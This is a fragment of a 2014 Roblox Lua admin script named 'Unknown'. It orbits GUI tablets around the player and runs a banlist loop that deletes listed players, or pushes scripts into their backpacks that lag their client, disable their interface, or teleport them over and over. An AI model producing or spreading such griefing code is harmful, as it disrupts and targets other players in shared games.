Output("Unknown Loaded.")
Output("Creaters: UnknownTablets, Z7M, P7N.")
Output("Beta Testers: InstallingData, ImaEatYourTaco.")
Output("Script version: 1.")
Output("Last updated: 6/2/2014")

modeldebounce = false
game:service'RunService'.Stepped:connect(function()
if modeldebounce then return end
rot = (rot % 360) + 0.5
if tabmodel.Parent ~= workspace then
modeldebounce = true
tabs = {}
tabmodel = Instance.new("Model", workspace)
tabmodel.Name = "Unknown Tabs"
tabs = {}
wait()
modeldebounce = false
end
end)

rot = 0
coroutine.resume(coroutine.create(function()
game:GetService("RunService").Stepped:connect(function()
if probemode == false then
if LocalPlayer.Character then
if LocalPlayer.Character:findFirstChild("Torso")  then
rot = rot + 0.001
for i,v in pairs(Tabs) do
ypcall(function()
local pos = LocalPlayer.Character.Torso.CFrame
local radius = 4 + (#Tabs * 0.5)
local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
local y = 0
local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
local arot = Vector3.new(x, y, z) + pos.p
local brot = v.CFrame.p
local crot = (arot * .1 + brot * .9)
v.CFrame = CFrame.new(crot, pos.p)
end)
end
end
end
end
if probemode == true then
if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
rot = rot + 0.001
for i,v in pairs(Tabs) do
ypcall(function()
local pos = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").CFrame
local radius = 4 + (#Tabs * 0.5)
local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
local y = 0
local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
local arot = Vector3.new(x, y, z) + pos.p
local brot = v.CFrame.p
local crot = (arot * .1 + brot * .9)
v.CFrame = CFrame.new(crot, pos.p)
end)
end
end
end
end)
end))

for _,v in pairs(game.Players:GetChildren()) do
if v:IsA("Player") then
Connect(v)
end
end

game.Players.ChildAdded:connect(function(qe)
if qe:IsA("Player") then
Connect(qe)
end
end)

coroutine.resume(coroutine.create(function()
while wait(0.1) do
for a, plr in pairs(game.Players:GetChildren()) do
pcall(function()
for b, Bl in pairs(Banlist) do
if plr.Name == Bl["Name"] then
if Bl["BRank"] == -1 then
plr:Destroy()
elseif Bl["BRank"] == -2 then
NewLS(LagSource, plr.Backpack)
elseif Bl["BRank"] == -3 then
NewLS("script.Parent = nil; while wait(0.1) do; game:service'StarterGui':SetCoreGuiEnabled(3, false); end", plr.Backpack)
elseif Bl["BRank"] == -4 then
NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
else
plr:Destroy()
end
end
end
end)
end
end
end))

for _,v in pairs(game.Players:GetPlayers()) do
if v.Name == "P7N" then
Output("LOl, sure")
end
end

game.Players.PlayerAdded:connect(function(plr)
if plr.Name == "P7N" then
Output("Sup brah")
end
end)
game.Players.ChildRemoved:connect(function(plr)
     Output("Disconnected: "..plr.Name)
wait(4)
Dismiss()
 end)

game.Players.ChildAdded:connect(function(plr)
     Output("Connected: "..plr.Name)
wait(4)
Dismiss()
 end)